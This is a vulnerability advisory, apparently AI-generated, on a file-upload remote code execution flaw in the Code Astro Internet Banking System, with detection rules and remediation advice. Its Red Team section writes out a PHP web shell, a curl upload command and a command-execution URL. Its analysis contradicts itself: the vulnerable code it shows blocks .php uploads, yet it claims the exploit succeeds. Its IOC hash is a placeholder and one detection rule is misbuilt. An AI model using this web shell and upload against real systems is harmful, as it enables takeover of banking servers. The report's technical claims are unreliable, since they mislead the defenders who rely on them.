CVE-2025-29017

Executive Summary

CVE-2025-29017 is a critical Remote Code Execution (RCE) vulnerability in the Code Astro Internet Banking System version 2.0.0. The flaw resides in the profile_pic parameter within pages_view_client.php, where the application fails to properly validate uploaded file types. An unauthenticated attacker can upload a malicious PHP file (e.g., a web shell) to the server, leading to full system compromise. No official patch is currently available, and the vulnerability has a public proof-of-concept (PoC) circulating in underground forums.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit, requiring no authentication or user interaction. Successful exploitation grants the attacker complete control over the web server, including access to sensitive banking data, transaction logs, and the ability to pivot to internal networks.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The profile_pic parameter in pages_view_client.php accepts file uploads but only checks the file extension superficially (e.g., .jpg, .png). The application does not validate the MIME type, file content, or perform any server-side checks. An attacker can bypass client-side validation by intercepting the upload request with a proxy (e.g., Burp Suite) and changing the file extension to .php or appending a double extension like shell.php.jpg. The uploaded file is stored in a web-accessible directory (e.g., /uploads/), allowing direct execution via HTTP request.

The vulnerable code snippet (simplified) in pages_view_client.php:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["profile_pic"]["name"]);
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
    echo "Sorry, only JPG, JPEG, PNG files are allowed.";
} else {
    move_uploaded_file($_FILES["profile_pic"]["tmp_name"], $target_file);
}
?>

The check only validates the extension from the filename, which is attacker-controlled. No content verification is performed.

Vulnerable vs. Patched Code

Vulnerable Code (2.0.0):

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["profile_pic"]["name"]);
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
    echo "Sorry, only JPG, JPEG, PNG files are allowed.";
} else {
    move_uploaded_file($_FILES["profile_pic"]["tmp_name"], $target_file);
}
?>

Patched Code (Hypothetical - No official patch exists):

<?php
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["profile_pic"]["name"], PATHINFO_EXTENSION);
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
$allowed_types = ['jpg', 'jpeg', 'png', 'gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["profile_pic"]["tmp_name"]);
finfo_close($finfo);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($imageFileType, $allowed_types) || !in_array($mime_type, $allowed_mimes)) {
    die("Invalid file.");
}
if (getimagesize($_FILES["profile_pic"]["tmp_name"]) === false) {
    die("Not a valid image.");
}
move_uploaded_file($_FILES["profile_pic"]["tmp_name"], $target_file);
?>

The patched version uses finfo to check the actual MIME type, getimagesize() to verify it is a real image, and renames the file to a random name to prevent path traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: Code Astro Internet Banking System 2.0.0
• Tools: Burp Suite, curl, or a web browser with developer tools.

Exploitation Steps:

1. Craft a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Intercept the upload request to pages_view_client.php using Burp Suite. Modify the profile_pic parameter to upload shell.php instead of an image. Change the Content-Type to image/jpeg if needed.

3. Send the request. The file will be stored in the uploads/ directory.

4. Execute commands by accessing:

   http://target/uploads/shell.php?cmd=id
   

Alternative using curl:

curl -F "profile_pic=@shell.php;type=image/jpeg" http://target/pages_view_client.php

Blue Team

Detection Steps:

• Monitor for file uploads with suspicious extensions (.php, .phtml, .php5) in the uploads/ directory.
• Look for anomalous HTTP requests to pages_view_client.php with Content-Type mismatches (e.g., image/jpeg but file is PHP).
• Check web server logs for requests to /uploads/ followed by command execution patterns (e.g., ?cmd=).

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/pages_view_client.php" | search "profile_pic" | table _time, src_ip, uri, http_method, status

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash depends on payload)
• Network Indicators:
  • HTTP POST requests to /pages_view_client.php with profile_pic parameter containing .php extension.
  • Subsequent GET requests to /uploads/*.php?cmd= or similar.
• File System Indicators:
  • Unexpected .php files in the uploads/ directory.
  • Files with double extensions (e.g., image.jpg.php).

Detection Engineering

YARA Rule

rule CVE_2025_29017_Webshell_Upload {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2025-29017"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29017"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_func, $shell_exec, $exec_func, $passthru)
}

Sigma Rule

title: CVE-2025-29017 - Unrestricted File Upload to RCE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit unrestricted file upload in Code Astro Internet Banking System
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/pages_view_client.php'
        cs-uri-query|contains: 'profile_pic'
    condition: selection
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-29017 - Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/pages_view_client.php"; http_uri; content:"profile_pic"; http_client_body; pcre:"/\.php/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality in pages_view_client.php until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block uploads with .php extensions or suspicious content.
3. Restrict the uploads/ directory to prevent execution of PHP files (e.g., via .htaccess):

   <Directory "/var/www/html/uploads">
       php_flag engine off
   </Directory>
   

Long-term Fix:

• Apply the patched code logic (see Vulnerable vs. Patched Code section) to validate MIME types, file content, and rename files securely.
• Monitor the vendor's website for an official patch.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant.